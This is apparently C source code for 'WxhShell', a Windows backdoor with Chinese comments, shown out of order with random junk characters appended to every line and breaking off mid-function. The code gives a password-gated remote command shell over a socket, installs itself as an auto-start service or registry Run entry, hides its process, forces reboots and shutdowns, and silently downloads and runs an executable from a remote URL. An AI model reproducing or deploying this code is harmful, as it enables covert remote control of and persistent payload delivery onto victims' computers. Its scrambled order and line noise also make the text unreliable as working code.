  case 'd': { B_^ ~5_0:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ) N8 [@  
    if(Boot(SHUTDOWN)) 0nh;0Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h;^H*Y&`  
    else { 'q#$^ ='o  
    closesocket(wsh); M=mzl750M  
    ExitThread(0); J^Dkx"1GD  
    } X"S-f; b#  
    break; k3-'!dW<  
    } (d L;A0L  
  // 获取shell (Hr_gkGtM  
  case 's': { E5#Dn.!~  
    CmdShell(wsh); U_-9rkUa  
    closesocket(wsh); [r,ZM  
    ExitThread(0); R::0.*FF  
    break; HG1)q\Xd  
  } zfAkWSY  
  // 退出 'w'P rM,:  
  case 'x': { '^T Q Ubw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V/=NIeSE  
    CloseIt(wsh); (1 L9K;  
    break; ou r$Ka31  
    } H%!ED1zpA  
  // 离开 #B;~i6h]  
  case 'q': { [7K-L6X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ileqI/40f  
    closesocket(wsh); zcKC5vqb  
    WSACleanup(); k^pu1g=6I  
    exit(1); Fw9``{4w  
    break; :*@|"4  
        } 9@Sb! 9h  
  } 5uo(z,WLR  
  } #0u69  
cf'}*$[S  
  // 提示信息 Z]TVH8%|k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LtztjAm.  
} #`4^zU)  
  } " B{0-H+  
1ckw[0d  
  return; _CJr6Evs  
} %"Q!5qH&  
)_e"N d4  
// shell模块句柄 yl<$yd0Zdu  
int CmdShell(SOCKET sock) htYrv5q=M  
{ R6Mxdm2P}  
STARTUPINFO si; .eNwC.8i  
ZeroMemory(&si,sizeof(si)); o:D BOpS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~e<'t4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hS{ *l9v7  
PROCESS_INFORMATION ProcessInfo; rg^\BUa-W,  
char cmdline[]="cmd"; Jf<yTAm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l;}7A,u  
  return 0; o>;0NF| }  
} [l%fL9  
$t# ,'M  
// 自身启动模式 qm8n7Z/  
int StartFromService(void) }t D!xI;  
{ d)1sP0Z_@  
typedef struct uU(G_E ?  
{ y7)[cvB  
  DWORD ExitStatus; x";.gjI |g  
  DWORD PebBaseAddress; !BQ ELB$0  
  DWORD AffinityMask; [G[{l$Eit  
  DWORD BasePriority; =R;1vUio  
  ULONG UniqueProcessId; <fsn2[V:B%  
  ULONG InheritedFromUniqueProcessId; RQS:h]?:l  
}   PROCESS_BASIC_INFORMATION; sJI -  
[^d6cMEOlc  
PROCNTQSIP NtQueryInformationProcess; EM 54  
b|ksMB>)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <aSLm=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,gL)~6!A  
BRU9LS  
  HANDLE             hProcess; ?fa,[r|G  
  PROCESS_BASIC_INFORMATION pbi; N7$DRG/<b  
f-v ND'@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hu9-<upc&  
  if(NULL == hInst ) return 0; Z!RRe]"y  
:^-HVT)qF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (ln  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =O3I[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \/'#=q1  
;sck+FP7w  
  if (!NtQueryInformationProcess) return 0; uU[[[LQq  
ttbQergS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0'%+X|  
  if(!hProcess) return 0; ;!0.Kk 4  
+1+A3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cEdz;kbUM  
n$m]58w  
  CloseHandle(hProcess); Mdltzy=)L  
3vRL g b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vA2,&%jw  
if(hProcess==NULL) return 0; / UaNYv/  
fUp|3bBE  
HMODULE hMod; @ yg| OA}  
char procName[255]; VM<oUKh_3  
unsigned long cbNeeded; @wEKCn|}o  
XC7Ty'#"KX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mV**9-"  
2sd ) w  
  CloseHandle(hProcess); j:v~MrQ7|  
`uNvFlP  
if(strstr(procName,"services")) return 1; // 以服务启动 'XP>} m  
;9p#xW6  
  return 0; // 注册表启动 Pghva*&  
} (^tr}?C  
1IOo?e=/bM  
// 主模块 ) 8x:x7?  
int StartWxhshell(LPSTR lpCmdLine) VW{aUgajO  
{ vB{; N  
  SOCKET wsl; Giy3eva2  
BOOL val=TRUE; L)kb (TH  
  int port=0; #51 4a(6  
  struct sockaddr_in door; =9;[C:p0-  
S.Wh4kMUe  
  if(wscfg.ws_autoins) Install(); {(m+M  
2d5}`>  
port=atoi(lpCmdLine); pW*{Mx  
g{g`YvLu^  
if(port<=0) port=wscfg.ws_port; _KSfP7VU  
c W81  
  WSADATA data; w|!YoMk+o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MO));M)  
Ax5mP8S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `DgaO-Dg3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h.4qlx|  
  door.sin_family = AF_INET; jgo e^f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d'N(w7-Y  
  door.sin_port = htons(port); Y=P9:unG  
HpB!a,R6B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I!|y;mh:it  
closesocket(wsl); Nk lz_ ]  
return 1; pchQ#GU  
} ^?$D.^g  
+G*"jI8W  
  if(listen(wsl,2) == INVALID_SOCKET) { o/tVcv  
closesocket(wsl); P1(8U%   
return 1; l?3vNa FeR  
} fkdf~Vb  
  Wxhshell(wsl); eP V-yy  
  WSACleanup(); >X;xIyRL  
/HB+ami,  
return 0; U>/<6 Wd  
d4jVdOq2  
} D3<IuWeM  
Jz~+J*r;]A  
// 以NT服务方式启动 9uA, +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :~\LOKf  
{ Of1IdE6~  
DWORD   status = 0; sFbfFUd  
  DWORD   specificError = 0xfffffff; ?wGiog<Q{  
v57N^DR{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p G)9=X!9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5,F;j<F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Y\QGuT  
  serviceStatus.dwWin32ExitCode     = 0; "nVK< Vd  
  serviceStatus.dwServiceSpecificExitCode = 0; i?ZA x4D  
  serviceStatus.dwCheckPoint       = 0; /uK)rG F  
  serviceStatus.dwWaitHint       = 0; q $t&|{  
"4 'kb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VT'0DQ!NIq  
  if (hServiceStatusHandle==0) return; &foD&  
bBA$}bv  
status = GetLastError(); lo"j )Zt  
  if (status!=NO_ERROR)  `>%-  
{ \BLp-B1s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J cP~-cp  
    serviceStatus.dwCheckPoint       = 0; ZH\0=l)  
    serviceStatus.dwWaitHint       = 0; KA`0g=  
    serviceStatus.dwWin32ExitCode     = status; 7 n\mj\  
    serviceStatus.dwServiceSpecificExitCode = specificError; XFtOmY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =.DTR5(_h  
    return; lco~X DI  
  } iOl%-Y  
D)y{{g*Lnm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _Q> "\_,  
  serviceStatus.dwCheckPoint       = 0; * nLIXnm  
  serviceStatus.dwWaitHint       = 0; n;%y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  wjL|Z8  
} YbzM6u2  
,E%1Uq"  
// 处理NT服务事件,比如:启动、停止 AU/#b(mI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r)Or\HL  
{ tzPC/?  
switch(fdwControl) {wcO[bN  
{ n|6?J_{<b>  
case SERVICE_CONTROL_STOP: 5!t b$p#z  
  serviceStatus.dwWin32ExitCode = 0; `{DG;J03[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p<q].^M  
  serviceStatus.dwCheckPoint   = 0; F%Kp9I*  
  serviceStatus.dwWaitHint     = 0; b"Zq0M0 l  
  { R0vww_fz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \<X2ns@Tf  
  } p'gb)nI  
  return; +GYS26  
case SERVICE_CONTROL_PAUSE: =rEA:Q`~w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aV<^IxE;  
  break; MA$Xv`6I\  
case SERVICE_CONTROL_CONTINUE: 3|zgDA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :\ mRtVH  
  break; ;@9e\!%  
case SERVICE_CONTROL_INTERROGATE: eHUg-\dy  
  break; ^Z#@3 =  
}; jQ?LHUE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9qr UM`z$g  
} JD ]OIh  
H'Ln P>@n#  
// 标准应用程序主函数 z{|LQt6q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0yz~W(tsm  
{ d/]|657u  
SRItE\"Xe  
// 获取操作系统版本 wdwp9r  
OsIsNt=GetOsVer(); 5}XvL'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N xFUO0O3  
=*O=E@]  
  // 从命令行安装 [x5mPjgw  
  if(strpbrk(lpCmdLine,"iI")) Install(); LWD#a~  
=m9i)Q  
  // 下载执行文件 B6MkF"J<  
if(wscfg.ws_downexe) { `eC+% O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P6YQK+  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5ITq?%{M  
} 4H-j .|e  
/c#l9&,  
if(!OsIsNt) { 1"YpO"Rh  
// 如果时win9x,隐藏进程并且设置为注册表启动 n=o_1M|  
HideProc(); {cR=N~_EO  
StartWxhshell(lpCmdLine); W5Zqgsy($F  
} $;`I,k$0>~  
else u-szt ?O|  
  if(StartFromService()) YB5dnS"n  
  // 以服务方式启动 H^ BYd%-  
  StartServiceCtrlDispatcher(DispatchTable); o @KW/RN"  
else 2h q>T&8  
  // 普通方式启动 uPLErO9Es[  
  StartWxhshell(lpCmdLine); "!KpXBc,>  
Pl78fs"L@  
return 0; 6P*O&1hv  
} r~>,$[|n})  
d!V$Y}n  
p/*"4-S  
w z=z?AZW  
=========================================== p3yU:q#A  
AVFjBybu9  
BQ#L+9%  
< kP+eD  
NY!jwb@%  
2d`c!  
" Cv^`&\[SW+  
~pz FZ7n4  
#include <stdio.h> %|+E48  
#include <string.h> Lh ap4:  
#include <windows.h> A 5nO=  
#include <winsock2.h> H l<$a"K7\  
#include <winsvc.h> 4!%F\c46  
#include <urlmon.h> >|*yh~  
,}J_:\j  
#pragma comment (lib, "Ws2_32.lib") XUmR{A  
#pragma comment (lib, "urlmon.lib") 79BaDB`{a  
s'u(B]E  
#define MAX_USER   100 // 最大客户端连接数 GoE 'L  
#define BUF_SOCK   200 // sock buffer L*]0"E  
#define KEY_BUFF   255 // 输入 buffer Bs!4H2@{(]  
q p~g P  
#define REBOOT     0   // 重启 FWY2s(5p  
#define SHUTDOWN   1   // 关机 *#&*`iJ(  
p#@Z$gTH`'  
#define DEF_PORT   5000 // 监听端口 2R.2D'4)`  
6`\ya@  
#define REG_LEN     16   // 注册表键长度 ?c#$dc"  
#define SVC_LEN     80   // NT服务名长度 1*Ar{:+ua  
jH *)%n5,\  
// 从dll定义API io%')0p5q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m,_d^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +j[oEI`e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OB^Tq~i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n(vDytrj;  
uT_!'l$fr  
// wxhshell配置信息 Of[;Qn  
struct WSCFG { I+;-p]~  
  int ws_port;         // 监听端口 Lm%GR[tyQ  
  char ws_passstr[REG_LEN]; // 口令 ofdZ1F  
  int ws_autoins;       // 安装标记, 1=yes 0=no m{%t?w$Au  
  char ws_regname[REG_LEN]; // 注册表键名 %NARyz  
  char ws_svcname[REG_LEN]; // 服务名 [L~@uAMw:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 39TT{>?`w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _GoVx=t   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ru\_dr2yI}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'vIx#k4D1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l{WjDed  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $2#7D* Rx  
g:#d l\k  
}; =VP=|g  
0b|zk <  
// default Wxhshell configuration Y)I8eU{Wl(  
struct WSCFG wscfg={DEF_PORT, !1sU>Xb4J  
    "xuhuanlingzhe", d/,E2i{I7  
    1, ;%!m<S|%k  
    "Wxhshell", \h{r;#g  
    "Wxhshell", V5rp.~   
            "WxhShell Service", IB5BO7J  
    "Wrsky Windows CmdShell Service", } :?.>#  
    "Please Input Your Password: ", 9'~- U  
  1, F[`ZqW  
  "http://www.wrsky.com/wxhshell.exe", 4Yjx{5QSAG  
  "Wxhshell.exe" RDQ^dui  
    }; b"j|Bb  
HZ"Evl|n  
// 消息定义模块 4&X*pL2;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $1Nd_pD=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^4$ 'KIq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n&XGBwgW  
char *msg_ws_ext="\n\rExit."; >yK0iK{  
char *msg_ws_end="\n\rQuit."; )@g;j>  
char *msg_ws_boot="\n\rReboot..."; P`SnavQBt  
char *msg_ws_poff="\n\rShutdown..."; \NL+}cL/  
char *msg_ws_down="\n\rSave to "; mxG]kqi  
HK=[U9 o?  
char *msg_ws_err="\n\rErr!"; UVu DQ  
char *msg_ws_ok="\n\rOK!"; /Wj,1WX~  
`iG,H[t+j  
char ExeFile[MAX_PATH]; \F6LZZ2Lv  
int nUser = 0; H=MCjh&$q  
HANDLE handles[MAX_USER]; viaJblYj(f  
int OsIsNt; Ukphd$3J=  
,TC;{ $O5  
SERVICE_STATUS       serviceStatus; yfNX7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d+L#t  
\}]iS C.2  
// 函数声明 ]o/|na*  
int Install(void); 7S^""*Q^  
int Uninstall(void); BN_7Ay/k  
int DownloadFile(char *sURL, SOCKET wsh); TCVl8)j  
int Boot(int flag); -e@!  
void HideProc(void); :VA.QrKW  
int GetOsVer(void); H:{7X1bV  
int Wxhshell(SOCKET wsl); h1"zV6U  
void TalkWithClient(void *cs); j5 wRGn3  
int CmdShell(SOCKET sock); 0Fr1Ku!  
int StartFromService(void); !>^JSHR4t  
int StartWxhshell(LPSTR lpCmdLine); MQ/ A]EeL  
7 6fIC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GR4?BuY,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); % g"eV4 j  
xycH~ ?  
// 数据结构和表定义 tx7~S Ur  
SERVICE_TABLE_ENTRY DispatchTable[] = VL( <  
{ +{`yeZ9S  
{wscfg.ws_svcname, NTServiceMain}, -#&kYK#Ph  
{NULL, NULL} =v6*|  
}; _Tm0x>EM  
$A\m>*@  
// 自我安装 q`|CrOzO  
int Install(void) V1=*z  
{ sYbH|}  
  char svExeFile[MAX_PATH]; tB(4Eq \  
  HKEY key; #TJk-1XM*q  
  strcpy(svExeFile,ExeFile); w2gf&Lc\  
&R-H"kK?  
// 如果是win9x系统,修改注册表设为自启动 |?m` xO  
if(!OsIsNt) { <|6%9@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LwJ0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MLVB^<qkeH  
  RegCloseKey(key); ,8Iv9M}2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >%b\yl%0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +54aO  
  RegCloseKey(key); P1kB>" bR  
  return 0; Xg<[fwW  
    } "`tXA  
  } %B2XznZ:  
} nY-* i!H  
else { haSM=;uPM  
0OZMlt%z  
// 如果是NT以上系统,安装为系统服务 b}z`BRCc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w; TkkDH  
if (schSCManager!=0) o3Ot.9L  
{ =C7 khE  
  SC_HANDLE schService = CreateService _ *(bmJM  
  ( &]p}+{ (>  
  schSCManager, $< %B#axL  
  wscfg.ws_svcname, *MM#Z?mP  
  wscfg.ws_svcdisp, @uleyB  
  SERVICE_ALL_ACCESS, /="HqBI#i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E0f{iO;}  
  SERVICE_AUTO_START, 6Z:YT&,f  
  SERVICE_ERROR_NORMAL, qk{'!Ii  
  svExeFile, h BMH)aU  
  NULL, i2,U,>.  
  NULL, rj] E@W  
  NULL, Q4'C;<\@(Q  
  NULL, J\co1kO9/  
  NULL sa-9$},z4  
  ); ^QL 877  
  if (schService!=0) I*)VZW  
  { 0irr7Y  
  CloseServiceHandle(schService); `aSM8C\  
  CloseServiceHandle(schSCManager); M?&zY "c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $ @1u+w  
  strcat(svExeFile,wscfg.ws_svcname); [ = M%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m2bDHQ+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7k8n@39?  
  RegCloseKey(key); QJ X/7RA  
  return 0; S3 \jcgrS  
    } F 1W+o?B  
  } #gZ|T M/h  
  CloseServiceHandle(schSCManager); d,#.E@Po  
} Q+[ .Y&  
} CY"i-e"q<Q  
<e"J4gZf&  
return 1; "ED8z|]j  
} SG]K   
oN,s.Of  
// 自我卸载 R{}qK r  
int Uninstall(void) @z,*K_AKr  
{ :F(9"L  
  HKEY key; 4br6$  
00<{:  
if(!OsIsNt) { NPU^) B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iD_T P  
  RegDeleteValue(key,wscfg.ws_regname); szq+@2:  
  RegCloseKey(key); 3oBC   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #+jUhxq  
  RegDeleteValue(key,wscfg.ws_regname); *@M3p}',M  
  RegCloseKey(key); EZj1jpL  
  return 0; >;lKLGJrd>  
  } `iYc<N`  
} v*TeTA %  
} A~71i&  
else { 3wt  
f1cl';  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); esq<xuZM4  
if (schSCManager!=0) uLW/f=7 L  
{ X>3^a'2,E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z,Xk\@  
  if (schService!=0) i?>Hr|  
  { ixI:@#5wY  
  if(DeleteService(schService)!=0) { OlGR<X  
  CloseServiceHandle(schService); eV;me>,  
  CloseServiceHandle(schSCManager); xqWj|jA  
  return 0; H@W0gK(cS;  
  } 9q|7<raS  
  CloseServiceHandle(schService); D rS?=C@  
  } uPU#c\  
  CloseServiceHandle(schSCManager); ,}7_[b)&V  
} 0xP:9rm  
} *8-p7,D  
=J3`@9;  
return 1; F6&P~H  
} SCq3Ds^  
dXZP[K#  
// 从指定url下载文件 [4gjC  
int DownloadFile(char *sURL, SOCKET wsh) I#c(J  
{ 4x]NUt  
  HRESULT hr; ITvHD-,\  
char seps[]= "/"; e6m1NH4,  
char *token; $rB!Ex{@ac  
char *file; 8p,>y(o  
char myURL[MAX_PATH]; LDX y}hm)  
char myFILE[MAX_PATH]; cG(0q[  
gV`S%   
strcpy(myURL,sURL); BHclUwj  
  token=strtok(myURL,seps); I~k=3,7<  
  while(token!=NULL) ^0eO\wc?O  
  { L8D m9}  
    file=token; i-"<[*ePd  
  token=strtok(NULL,seps); B$`d&7I;D  
  } !7Uu]m69n  
lb95!.av+I  
GetCurrentDirectory(MAX_PATH,myFILE); ck~ '`<7  
strcat(myFILE, "\\"); 2%]t3\XW  
strcat(myFILE, file); OJ4SbI  
  send(wsh,myFILE,strlen(myFILE),0); OJb*VtZz5R  
send(wsh,"...",3,0); "gW7<ilw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XUV!C 7  
  if(hr==S_OK) ,,=apyr#&  
return 0; 2)/NFZ  
else F#+.>!  
return 1; b*,3< 9  
'i>xf ^  
} +'03>!V  
PQj<[rY  
// 系统电源模块 KhM.Tc  
int Boot(int flag) XY+y}D %  
{ 3 EYiQ`  
  HANDLE hToken; M2T|"Q"=  
  TOKEN_PRIVILEGES tkp; =7ydk"xM*  
G5'_a$  
  if(OsIsNt) { b7h+?!H]R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @C.GKeM*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aU<s<2 O)  
    tkp.PrivilegeCount = 1; oO=o|w|T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r[HT9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !0fI"3P@r  
if(flag==REBOOT) { N\R=cwk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yBn_Kd  
  return 0; J4yt N3  
} QB 77:E  
else { L0&S0HG   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M#0 @X  
  return 0;  ^Omfe  
} ?q%b*Ek  
  } LV.&>@*  
  else { \f"?Tv-C'  
if(flag==REBOOT) { Vm!i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _+zVpZ  
  return 0; .C5@QKU  
} pT=2e&  
else { 1VfSSO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'TX M{RGw  
  return 0; VG#Q;Xd}  
} ?~)Ak`=  
} V} bM!5 H  
2z-$zB<vyw  
return 1; &|=?a cv  
} k!13=Gh  
oEAfowXSqk  
// win9x进程隐藏模块 & s-VSu7  
void HideProc(void) '49L(>.  
{ (9z|a ,  
sV'v* 1|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (C~dkR?  
  if ( hKernel != NULL ) 6z]`7`G   
  { c * 1S}us  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r|bPR!0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q u:To7  
    FreeLibrary(hKernel); :A*0]X;  
  } ` @>ZGL:  
.Qk{5=l6P  
return; s7|3zqi  
} l4Y1(  
"VQ|E d  
// 获取操作系统版本 p5`ZyD ]+  
int GetOsVer(void) >D3z V.R  
{ r./z,4A`  
  OSVERSIONINFO winfo; P#F_>GB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r\bq[9dX>  
  GetVersionEx(&winfo); :f]!O@.~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kdd7X bw-  
  return 1; X?kPi&ru  
  else fOJj(0=y  
  return 0; hy=u}^F.C  
} 776 nWw)  
uegb;m  
// 客户端句柄模块 wmiafBA e  
int Wxhshell(SOCKET wsl) -7,vtd[h  
{ Kv1vx*>  
  SOCKET wsh; -g<cinNSp  
  struct sockaddr_in client; w0$R`MOR+  
  DWORD myID; sxt`0oE  
{ $X X  
  while(nUser<MAX_USER) +&?'KZ+Z_v  
{ @F~0p5I  
  int nSize=sizeof(client); KKV)DExv?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -t%L#1k  
  if(wsh==INVALID_SOCKET) return 1; <gR`)YF7  
E2-ojL[6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GU5W|bS  
if(handles[nUser]==0) >|5XaaDa  
  closesocket(wsh); F"Uh/EO<  
else |zT%$  
  nUser++; BjwMb&a;  
  } }]tFz}E\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $e>/?Ss  
{ _-wG3f|  
  return 0; 'G52<sF  
} z( *]'Y  
KxGKA  
// 关闭 socket 8g-P_[>  
void CloseIt(SOCKET wsh) w< v1 N  
{ C0P*D,  
closesocket(wsh); $+0=GN  
nUser--; bx;yHIRb  
ExitThread(0); vuAQm}A4'g  
} Q%+ }  
yi sF5`+  
// 客户端请求句柄 Lf[G>0t&n  
void TalkWithClient(void *cs) RfD{g"]y  
{ Nvi Fq  
GJ.kkTMT  
  SOCKET wsh=(SOCKET)cs; wwo(n$!\  
  char pwd[SVC_LEN]; m*\B2\2gJ  
  char cmd[KEY_BUFF]; pCz@(:0  
char chr[1]; ^).WW  
int i,j; xX[?L9RGz  
?s1u#'aO  
  while (nUser < MAX_USER) { E]e, cd  
e 4 p*51ra  
if(wscfg.ws_passstr) { ,:Rft  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VfQMFb',o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AD~~e% s=  
  //ZeroMemory(pwd,KEY_BUFF); tx2Vyu  
      i=0; s"pR+)jf1D  
  while(i<SVC_LEN) { "PZYgl  
i,mrMi c#  
  // 设置超时 XRClBTKF  
  fd_set FdRead; ?BWHr(J  
  struct timeval TimeOut; <$RS*n  
  FD_ZERO(&FdRead); 6U;Jg_zS  
  FD_SET(wsh,&FdRead); |h#DL$  
  TimeOut.tv_sec=8; 83{x"G3>  
  TimeOut.tv_usec=0; $ /}:P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "z^BKb5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #[gcg]6c  
ipx@pNW;"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,ma Aw}=  
  pwd=chr[0]; f?/|;Zo4  
  if(chr[0]==0xd || chr[0]==0xa) { 3X88x-3  
  pwd=0; v< 65(I>  
  break; zF[3%qZE:T  
  } =XZF.ur  
  i++; 2(+RIu0d  
    } EpFIKV!  
K[iY{  
  // 如果是非法用户,关闭 socket [_g#x(=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ",MK'\E  
} ()+jrrK  
"i!2=A8k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c7FfI"7HR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *b$z6.  
OhSt6&+  
while(1) { q#mFN/.(+  
"-0pz\a  
  ZeroMemory(cmd,KEY_BUFF); gt2>nTJz.Z  
y9V;IXhDc  
      // 自动支持客户端 telnet标准   q3,P|&T  
  j=0; j6&zRFX  
  while(j<KEY_BUFF) { n.Ur-ot  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4=?Ok":8  
  cmd[j]=chr[0]; /tId#/Y  
  if(chr[0]==0xa || chr[0]==0xd) { *pcbwd!/  
  cmd[j]=0; eHF(,JI  
  break; s8f3i\1  
  } X]+(c_i:hC  
  j++; c~^]jqid]  
    } 1cHSgpoJ  
hr~qt~Oi  
  // 下载文件 9a"Y,1  
  if(strstr(cmd,"http://")) { '-nuH;r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;qT!fuN;  
  if(DownloadFile(cmd,wsh)) ijZydn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ab^>z  
  else /VhE<}OtH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i-i}`oN  
  } Ads<-.R  
  else { Rktn/Vi  
xu_XX#9?b  
